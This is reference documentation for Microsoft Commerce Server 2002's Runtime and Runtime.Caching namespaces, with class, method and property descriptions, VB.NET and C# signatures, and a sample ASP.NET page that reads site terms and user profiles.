This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM error codes that may be present in any exception thrown.

Constant | Description
DISP_E_BADINDEX | The Index parameter references an out-of-range value. This means that Index contains a value either larger than the SimpleList object or less than zero.
[Visual Basic .NET]

Example

' The following example deletes the SimpleList item at index 1008
' oSimpleList is a Commerce SimpleList object
oSimpleList.Delete(1008)

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

SimpleList Class

SimpleList.Add

SimpleList.Count


SimpleList.GetEnumerator Method (BCL)

Use this method to retrieve an IEnumerator object for enumerating the contents of the SimpleList object.

Definition

[Visual Basic .NET]
Public Function GetEnumerator(
) as IEnumerator
[C#]
public IEnumerator GetEnumerator(
);

Return Values

Handle to an IEnumerator interface implementation for this collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

SimpleList Class


SimpleList Properties (BCL)

Public Instance Properties

Property | Type | Description
Count | Integer | Stores the number of elements in the SimpleList object. This property is read-only.
Item | Object | Stores an element of the SimpleList object. This property is read/write.


SimpleList.Count Property (BCL)

The Count property is a read-only Integer that returns the number of elements in the SimpleList object.

Definition

[Visual Basic .NET]
Public ReadOnly Property Count As Integer
[C#]
public int Count {get; }

Property Value

An Integer value containing the number of elements in the SimpleList object instance.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The caller should always check this property before calling a SimpleList method or property that requires an array index in-value as a parameter (such as the Delete method).

See Also

SimpleList Class


SimpleList.Item Property (BCL)

[Visual Basic .NET] The Item property is a read/write Object that contains an element of the SimpleList object. An initialized Object is stored at a specified array index. If an item is already stored at the specified index, then that item is overwritten by an assignment.

[C#] The Item indexer provides get or set access to an element of the SimpleList object. If an item is already stored at the specified index, that item is overwritten when setting a value.

Definition

[Visual Basic .NET]
Public Property Item(
  Index As Integer
) As Object
[C#]

Get method:

public object this[ int Index ] [get; set;]

Parameters

[Visual Basic .NET]
Index
An Integer value that contains the index of the item.
[C#]
Index
An Integer that contains the index of the item.

Return Values

[C#]

The get version of the indexer returns an object containing the value present at the location specified by the Index parameter.

Exceptions

This indexer may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM error codes that may be present in any exception thrown.

Constant | Description
DISP_E_BADINDEX | The Index parameter references an out-of-range value. This means that Index contains a value either larger than the SimpleList object or less than zero.
[Visual Basic .NET]

Example

' using Item property as a property...
oSimpleList.Item(5) = "Winnie The Pooh"
' using Item property as an indexer...
oSimpleList(5) = "Winnie The Pooh"

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

SimpleList Class


SubmitOrderEvent Class (BCL)

Event used whenever orders are submitted for processing.

Public Instance Constructor

Constructor | Description
SubmitOrderEvent Constructor | Creates a new instance of the SubmitOrderEvent class.

Public Instance Methods

Method | Description
Validate | Validates the order group ID and returns false if the property is null.

Public Instance Properties

Property | Description
EventType | Returns the event type for the class.
OrderGroupID | Order group ID for the order being submitted.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SubmitOrderEvent Constructor (BCL)

Public Instance Constructor

Constructor | Description
SubmitOrderEvent Constructor | Creates a new instance of the SubmitOrderEvent class.


SubmitOrderEvent Constructor (BCL)

Use this method to create a new instance of the SubmitOrderEvent class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public SubmitOrderEvent(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SubmitOrderEvent Methods (BCL)

Public Instance Methods

Method | Description
Validate | Validates the order group ID and returns false if the property is null.


SubmitOrderEvent.Validate Method (BCL)

Use this method to validate the Order Group ID for the event.

[Visual Basic .NET]
Overridable Public Function Validate( _
) As System.Boolean
[C#]
public virtual System.Boolean Validate(
);

Return Value

A Boolean indicating whether the order group ID is valid. If the order group ID is null, the return value is False.

Remarks

Overrides the default Validate function provided by the BaseCommerceEvent class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SubmitOrderEvent Properties (BCL)

Public Instance Properties

Property | Description
EventType | Returns the event type for the class.
OrderGroupID | Order group ID for the order being submitted.


SubmitOrderEvent.EventType Property (BCL)

The EventType property is a read-only String that returns the event type for the class.

Definition

[Visual Basic .NET]
Public ReadOnly Property EventType As System.String
[C#]
public System.String EventType {get;}

Property Value

A String containing the event type for the class.

Remarks

For submit order events, the string "SUBOR" is returned.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SubmitOrderEvent.OrderGroupID Property (BCL)

The OrderGroupID property is a read/write String that contains the order group ID for the event.

Definition

[Visual Basic .NET]
Public Property OrderGroupID As System.String
[C#]
public System.String OrderGroupID {get; set;}

Property Value

A String containing the order group ID for the event.

Remarks

This property must be set for a valid event.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketBase Class (BCL)

Provides the base functionality for ticket handling operations in the Commerce Server 2002 Application Runtime.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.

Public Instance Properties

Property | Description
Item(String) | Retrieves and sets properties in the ticket by name.
UserID | Retrieves and sets the user ID for the ticket.
Value | Retrieves a ticket in string form.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this object and optionally releases managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketBase Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this class.

Protected Instance Methods

Method | Description
CheckState | Verifies that the class has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


TicketBase.CheckState Method (BCL)

Use this method to verify that the class has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object was already disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketBase.Dispose Method (BCL)

Use this method to release resources used by this object.

Definition

[Visual Basic .NET]
Public Sub Dispose( _
)
[C#]
public void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the TicketBase.Dispose(True) method to dispose of the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketManager.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
A value of True if this was called from the Dispose method, false if called from the finalizer.
[C#]
disposing
A value of True if this was called from the Dispose method, false if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketBase Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Retrieves and sets properties in the ticket by name.
UserID | Retrieves and sets the user ID for the ticket.
Value | Retrieves a ticket in String form.


TicketBase.Item Property (BCL)

The Item property is a read/write String that gets and sets properties in the ticket.

Definition

[Visual Basic .NET]
Overridable Public Property Item( _
  ByVal propertyName As System.String _
) As System.String
[C#]
public virtual System.String Item(
  System.String propertyName
) {get; set;}

Parameters

[Visual Basic .NET]
propertyName
The name of the property to set or retrieve.
[C#]
propertyName
The name of the property to set or retrieve.

Property Value

The value of the propertyName parameter.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketBase.UserID Property (BCL)

The UserID property is a read/write String that retrieves and sets the user ID for the ticket.

Definition

[Visual Basic .NET]
Overridable Public Property UserID As System.String
[C#]
public virtual System.String UserID {get; set;}

Property Value

The user ID for the ticket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


TicketBase.Value Property (BCL)

The Value property is a read-only String that retrieves a ticket.

Definition

[Visual Basic .NET]
Public ReadOnly Property Value As System.String
[C#]
public System.String Value {get;}

Property Value

The ticket in String form.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Example Code for the Microsoft.CommerceServer.Runtime Namespace

Examples

Example | Description
Code to Build a Login Page | Describes how to check for authenticated users, set tickets to identify users, and add and modify ticket properties.


Code to Build a Login Page

Use the following code to check for authenticated users, to set tickets to identify users, and to add and modify ticket properties. This code sample requires that the CommerceAuthenticationModule object is configured in the web.config file. For more information about the CommerceAuthenticationModule class, see Commerce Modules and CommerceAuthenticationModule Class.

<%@ Page language="c#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Profiles" %>

<script language="C#" runat="server">
   private void Page_Load(object sender, System.EventArgs e)
      {
         ProfileContext pc;
         SiteTerm st;
         SiteTermElementCollection stc;
         SiteTermElement ste, ste2;
         ArrayList stNames;
         SiteTermElement [] stElementArray;
         Profile profile;

      try
      {
         if (CommerceContext.Current != null)
         {
            pc = CommerceContext.Current.ProfileSystem;

            // Retrieve all the siteterms in the catalog.
            stNames = pc.SiteTermNames;

            if (stNames.Count > 0)
            {
               // Retrieve all the elements contained in a particular siteterm
               // encapsulated within a SiteTerm class.
               st = pc.GetSiteTerm((string)stNames[0]);

               // Retrieve ths siteterms in a collection and iterate
               // through them.
               stc = st.Elements;
               Response.Write("SiteTerm:  " + stNames[0] + " has " + stc.Count + " elements.<br>");
               foreach (SiteTermElement steTemp in stc)
               {
                  Response.Write("Name:  " + steTemp.Name + "        Value:  " + steTemp.Value + "<br>");
               }
               Response.Write("<br><br>");

               // Sort days of the week siteterm and display them.
               stElementArray = new SiteTermElement[stc.Count];
               stc.CopyTo(stElementArray, 0);
               Array.Sort(stElementArray);
               Response.Write("SiteTerm:  " + stNames[0] + " in sorted order.<br>");
               foreach (SiteTermElement steTemp in stElementArray)
               {
                  Response.Write("Name:  " + steTemp.Name + "        Value:  " + steTemp.Value + "<br>");
               }
               Response.Write("<br><br>");

               // Reference the siteterm within the collection by name.
               ste = stc["Guest User"];
               Response.Write("Reference a siteterm element from a collection by name.<br>");
               Response.Write("Name:  " + ste.Name + "        Value:  " + ste.Value + "<br>");
               Response.Write("<br><br>");

               // Compare siteterm elements.
               ste2 = stc["Registered User"];
               if (ste.Equals(ste2))
                  Response.Write("The two SiteTermElement objects are equal.<br>");
               else
                  Response.Write("The two SiteTermElement objects are not equal.<br>");
               Response.Write("<br><br>");

               // Validate a profile property through the siteterm class.
               profile = pc.GetProfile("logon_name", "username", "UserObject");
               if (profile != null)
               {
                  // if there really is a profile in the profile store
                  if (st.Validate(profile.Properties[0]))
                     Response.Write("The profile property is validated.<br>");
                  else
                     Response.Write("The profile property is not valid.<br>");
               }
               else
                  Response.Write("The profile does not exist.<br>");
               Response.Write("<br><br>");
            }
         }

      }
      catch(Exception ex)
      {
         Response.Write(ex.Message);
      }
   }
</script>

<HTML>
   <HEAD>
      <title ID=L_Login_HTMLTitle>Login</title>
      <meta name="GENERATOR" Content="Microsoft Visual Studio 7.0">
      <meta name="CODE_LANGUAGE" Content="C#">
      <meta name="vs_defaultClientScript" content="JavaScript">
      <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
   </HEAD>
   <body MS_POSITIONING="GridLayout">

   </body>
</HTML>

See Also

CommerceContext Class (BCL)

Profile Class (BCL)

ProfileContext Class (BCL)

SiteTerm Class (BCL)

SiteTermElement Class (BCL)

SiteTermElementCollection Class (BCL)


Microsoft.CommerceServer.Runtime.Caching

The classes in the Microsoft.CommerceServer.Runtime.Caching namespace contains the caching functionality for the Commerce Server .NET Application Framework.

Microsoft.CommerceServer.Runtime.Caching Namespace Object Model

Depicts the object model for the Microsoft.CommerceServer.Runtime.Caching namespace.

Classes

Class | Description
CommerceCache | Represents a cache in the CommerceCacheCollection class.
CommerceCacheCollection | Represents a collection of caches for the current site.
CommerceCacheException | Describes Commerce Server cache exceptions.
CommerceCacheModule | Creates the site cache collection.

See Also

Commerce Server .NET Application Framework Tutorial


CommerceCache Class (BCL)

Represents a cache in the CommerceCacheCollection.

Public Instance Constructor

Constructor | Description
CommerceCache Constructor(String, Int32, Int32, String, String, String, Object, Object, DebugContext) | Creates a new instance of the CommerceCache class.

Public Instance Methods

Method | Description
GetCache | Gets the cache object (Commerce.Dictionary or LRUCache object).
Refresh | Refreshes the cache.

Public Instance Properties

Property | Description
CacheObjectProgId | Gets or sets the ProgId of the component that is the cache container object. Generally, this is either Commerce.Dictionary or Commerce.LRUCache.
LoaderConfigDictionary | Gets or sets the LoaderConfig dictionary for the cache. This is the set of name/value pairs that will be passed to the cache loader component during a refresh operation.
LoaderProgId | Gets or sets the ProgId of the component that should be created and invoked to populate the cache object during refresh operations.
RefreshInterval | Gets or sets the refresh interval for the cache. This is the approximate amount of time in seconds that the CacheMangager object will sleep before automatically refreshing the cache.
RetryInterval | Gets or sets the retry interval for the cache. This is the approximate amount of time in seconds that the CacheMangager object will sleep after a previous failure before retrying the cache refresh operation.
ServerSpecificSiteUrl | String that contains the full URL of the application.
WriterConfigDictionary | Gets or sets the WriterConfig dictionary for the cache. This is the set of name/value pairs that will be passed to the cache loader component during a refresh operation.
WriterProgId | Gets or sets the ProgId of the component that should be created and invoked to write out data from the cache object during refresh cycles.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceCache Constructor(String, Int32, Int32, String, String, String, Object, Object, DebugContext) | Creates a new instance of the CommerceCache class.


CommerceCache Constructor (String, Int32, Int32, String, String, String, Object, Object, DebugContext) (BCL)

Use this method to create a new instance of the CommerceCache class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal name As System.String, _
  ByVal refreshInterval As System.Int32, _
  ByVal retryInterval As System.Int32, _
  ByVal loaderProgId As System.String, _
  ByVal writerProgId As System.String, _
  ByVal cacheObjectProgId As System.String, _
  ByVal loaderConfigDictionary As System.Object, _
  ByVal writerConfigDictionary As System.Object, _
  ByVal dbgContext As DebugContext _
)
[C#]
public CommerceCache(
  System.String name,
  System.Int32 refreshInterval,
  System.Int32 retryInterval,
  System.String loaderProgId,
  System.String writerProgId,
  System.String cacheObjectProgId,
  System.Object loaderConfigDictionary,
  System.Object writerConfigDictionary,
  DebugContext dbgContext
);

Parameters

[Visual Basic .NET]
name
The cache name. May not be null.
refreshInterval
The refresh interval in seconds. A value of zero means to never refresh.
retryInterval
The retry interval in seconds. A value of zero means to use the default (60 seconds).
loaderProgId
The ProgId of the component that should be created and invoked to populate this cache during refresh cycles. May not be null.
writerProgId
The ProgId of the component that should be created and invoked to write out cache data during refresh cycles. Optional. May be null.
cacheObjectProgId
The ProgId of the component that is to serve as the cache container object, usually Commerce.Dictionary or Commerce.LRUCache. May be null.
loaderConfigDictionary
The Commerce.IDictionary object containing name value pairs to pass to the loader component when it is invoked. This parameter is optional. May be null.
writerConfigDictionary
The Commerce.IDictionary object containing name value pairs to pass to the writer component when it is invoked. This parameter is optional. May be null.
dbgContext
The DebugContext object. May not be null.
[C#]
name
The cache name. May not be null.
refreshInterval
The refresh interval in seconds. A value of zero means to never refresh.
retryInterval
The retry interval in seconds. A value of zero means to use the default (60 seconds).
loaderProgId
The ProgId of the component that should be created and invoked to populate this cache during refresh cycles. May not be null.
writerProgId
The ProgId of the component that should be created and invoked to write out cache data during refresh cycles. This parameter is optional. May be null.
cacheObjectProgId
The ProgId of the component that is to serve as the cache container object, usually Commerce.Dictionary or Commerce.LRUCache. May be null.
loaderConfigDictionary
The Commerce.IDictionary object containing name value pairs to pass to the loader component when it is invoked. This parameter is optional. May be null.
writerConfigDictionary
The Commerce.IDictionary object containing name value pairs to pass to the writer component when it is invoked. This parameter is optional. May be null.
dbgContext
The DebugContext object. May not be null.

Remarks

Throws an ArgumentNullException if the name, loaderProgId or dbgContext parameters are null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache Methods (BCL)

Public Instance Methods

Method | Description
GetCache | Gets the cache object (Commerce.Dictionary or LRUCache).
Refresh | Refreshes the cache.


CommerceCache.GetCache Method (BCL)

Use this method to get the cache object (Commerce.Dictionary or LRUCache).

Definition

[Visual Basic .NET]
Public Function GetCache( _
) As System.Object
[C#]
public System.Object GetCache(
);

Return Value

Returns the cache object, either a Dictionary object or an LRUCache object.

Remarks

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.Refresh Method (BCL)

Use this method to refresh the cache.

Definition

[Visual Basic .NET]
Public Sub Refresh( _
)
[C#]
public void Refresh(
);

Remarks

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache Properties (BCL)

Public Instance Properties

Property | Description
CacheObjectProgId | Gets or sets the ProgId of the component that is the cache container object. Generally this is either Commerce.Dictionary or Commerce.LRUCache object.
LoaderConfigDictionary | Gets or sets the LoaderConfig dictionary for the cache. This is the set of name/-value pairs that will be passed to the cache loader component during a refresh operation.
LoaderProgId | Gets or sets the ProgId of the component that should be created and invoked to populate the cache object during refresh cycles.
RefreshInterval | Gets or sets the refresh interval for the cache. This is the approximate amount of time in seconds that the CacheMangager object will sleep before automatically refreshing the cache.
RetryInterval | Gets or sets the retry interval for the cache. This is the approximate amount of time in seconds that the CacheMangager object will sleep after a previous failure before retrying the cache refresh.
ServerSpecificSiteUrl | String that contains the full URL of the application.
WriterConfigDictionary | Gets or sets the WriterConfig dictionary for the cache. This is the set of name/value pairs that will be passed to the cache loader component during a refresh operation.
WriterProgId | Gets or sets the ProgId of the component that should be created and invoked to write out data from the cache object during refresh cycles.


CommerceCache.CacheObjectProgId Property (BCL)

The CacheObjectProgId property gets the ProgId of the component that is the cache container object. Generally this is either Commerce.Dictionary or Commerce.LRUCache object.

Definition

[Visual Basic .NET]
Public Property CacheObjectProgId As System.String
[C#]
public System.String CacheObjectProgId {get;}

Property Value

The ProgId of the cache container object.

Remarks

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.LoaderConfigDictionary Property (BCL)

The LoaderConfigDictionary property gets or sets the LoaderConfig dictionary for the cache. This is the set of name/value pairs that will be passed to the cache loader component during a refresh operation.

Definition

[Visual Basic .NET]
Public Property LoaderConfigDictionary As System.Object
[C#]
public System.Object LoaderConfigDictionary {get; set;}

Property Value

The Dictionary object that contains the cache configuration values.

Remarks

A configured cache must have a loader component configured, but a writer component is optional. When a cache refresh occurs, the writer component is fired against the contents of the "old" copy of the cache (if one exists) and then the loader component is fired to populate a new cache object.

Throws an ArgumentException if the provided value is not of type Commerce.IDictionary.

Throws an ArgumentNullException if the provided value is null.

Throws an CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.LoaderProgId Property (BCL)

The LoaderProgId property gets or sets the ProgId of the component that should be created and invoked to populate the cache object during refresh cycles.

Definition

[Visual Basic .NET]
Public Property LoaderProgId As System.String
[C#]
public System.String LoaderProgId {get; set;}

Property Value

The ProgId of the cache loader component.

Remarks

Exceptions | Description
ArgumentNullException | A null value was provided when setting the property. A loader component is required for all configured caches.
CommerceCacheException | General failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.RefreshInterval Property (BCL)

The RefreshInterval property gets or sets the refresh interval for the cache. This is the approximate amount of time in seconds that the CacheMangager object will sleep before automatically refreshing the cache.

Definition

[Visual Basic .NET]
Public Property RefreshInterval As System.Int32
[C#]
public System.Int32 RefreshInterval {get; set;}

Property Value

An Int32 containing the refresh interval in seconds.

Remarks

A value of zero means that the cache should never be automatically refreshed.

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.RetryInterval Property (BCL)

The RetryInterval property gets or sets the retry interval for the cache. This is the approximate amount of time in seconds that the CacheMangager object will sleep after a previous failure before retrying the cache refresh.

Definition

[Visual Basic .NET]
Public Property RetryInterval As System.Int32
[C#]
public System.Int32 RetryInterval {get; set;}

Property Value

An Int32 containing the retry interval in seconds.

Remarks

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.ServerSpecificSiteUrl Property (BCL)

The ServerSpecificSiteUrl property is a string that contains the full URL of the application. If the cache object is a Dictionary object, then this value is passed to the CacheLoader and CacheWriter objects during each cache refresh.

Definition

[Visual Basic .NET]
Public Property ServerSpecificSiteUrl As System.String
[C#]
public System.String ServerSpecificSiteUrl {get; set;}

Property Value

The full URL of the application.

Remarks

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.WriterConfigDictionary Property (BCL)

The WriterConfigDictionary property gets or sets the WriterConfig dictionary for the cache. This is the set of name/value pairs that will be passed to the cache loader component during a refresh operation.

Definition

[Visual Basic .NET]
Public Property WriterConfigDictionary As System.Object
[C#]
public System.Object WriterConfigDictionary {get; set;}

Property Value

A Dictionary object containing configuration values for the cache writer component.

Remarks

A configured cache must have a loader component configured, but a writer component is optional. When a cache refresh occurs, the writer component is fired against the contents of the "old" copy of the cache (if one exists) and then the loader component is fired to populate a new cache object.

Throws an ArgumentException if the provided value is not of type Commerce.IDictionary.

Throws an ArgumentNullException if the provided value is null.

Throws an CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCache.WriterProgId Property (BCL)

The WriterProgId property gets or sets the ProgId of the component that should be created and invoked to write out data from the cache object during refresh cycles.

Definition

[Visual Basic .NET]
Public Property WriterProgId As System.String
[C#]
public System.String WriterProgId {get; set;}

Property Value

The ProgID of the cache writer component.

Remarks

Throws a CommerceCacheException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection Class (BCL)

Represents a collection of caches for the current site.

Public Instance Constructor

Constructor | Description
CommerceCacheCollection Constructor | Creates a new instance of the CommerceCacheCollection class for the site.

Public Instance Methods

Method | Description
Add(String, CommerceCache) | Add a cache to the collection.
CopyTo(Array, Int32) | Copies the cache objects to an array, starting at a particular array index.
GetEnumerator | Enumerates through the caches in the CommerceCacheCollection collection.

Public Instance Properties

Property | Description
Count | Gets the number of caches contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(String) | Indexer to allow for accessing a cache based on the cache name.
SyncRoot | Gets an object that can be used for synchronized access to the collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceCacheCollection Constructor | Creates a new instance of the CommerceCacheCollection class for the site.


CommerceCacheCollection Constructor (BCL)

Use this method to create a new instance of the CommerceCacheCollection class for the specified site.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceCacheCollection(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection Methods (BCL)

Public Instance Methods

Method | Description
Add(String, CommerceCache) | Adds a cache to the collection.
CopyTo(Array, Int32) | Copies the cache objects to an array, starting at a particular array index.
GetEnumerator | Enumerates through the caches in the CommerceCacheCollection collection.


CommerceCacheCollection.Add (String, CommerceCache) Method (BCL)

Use this method to add a cache to the collection.

Definition

[Visual Basic .NET]
Public Sub Add( _
  ByVal cacheName As System.String, _
  ByVal cache As CommerceCache _
)
[C#]
public void Add(
  System.String cacheName,
  CommerceCache cache
);

Parameters

[Visual Basic .NET]
cacheName
The cache name. May not be null.
cache
The cache object. May not be null.
[C#]
cacheName
The cache name. May not be null.
cache
The cache object. May not be null.

Remarks

Throws an ArgumentNullException if either required parameter is passed as null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection.CopyTo (CommerceCache[], Int32) Method (BCL)

Use this method to copy the cache objects to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
  ByVal array As CommerceCache[], _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  CommerceCache[] array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection.GetEnumerator Method (BCL)

Use this method to enumerate through the caches in the collection.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

IEnumerator interface for enumerating the caches in the collection.

Implements

System.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of caches contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(String) | Indexer to allow for accessing a cache based on the cache name.
SyncRoot | Gets an object that can be used for synchronized access to the collection.


CommerceCacheCollection.Count Property (BCL)

The Count property gets the number of caches contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

An System.Int32 integer indicating the number of caches.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection.IsSynchronized Property (BCL)

The IsSynchronized property gets a value indicating whether access to the collection is synchronized.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection.Item(String) Property (BCL)

The Item property contains a CommerceCache object selected by name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal cacheName As System.String _
) As CommerceCache
[C#]
public CommerceCache Item(
  System.String cacheName
) {get;}

Parameters

[Visual Basic .NET]
cacheName
The name of the cache.
[C#]
cacheName
The name of the cache.

Property Value

The CommerceCache object specified by the cacheName parameter.

Remarks

Throws an ArgumentNullException if the parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceCacheCollection.SyncRoot Property (BCL)

The SyncRoot property gets an object that can be used for synchronized access to the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used for synchronized access to the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Caching

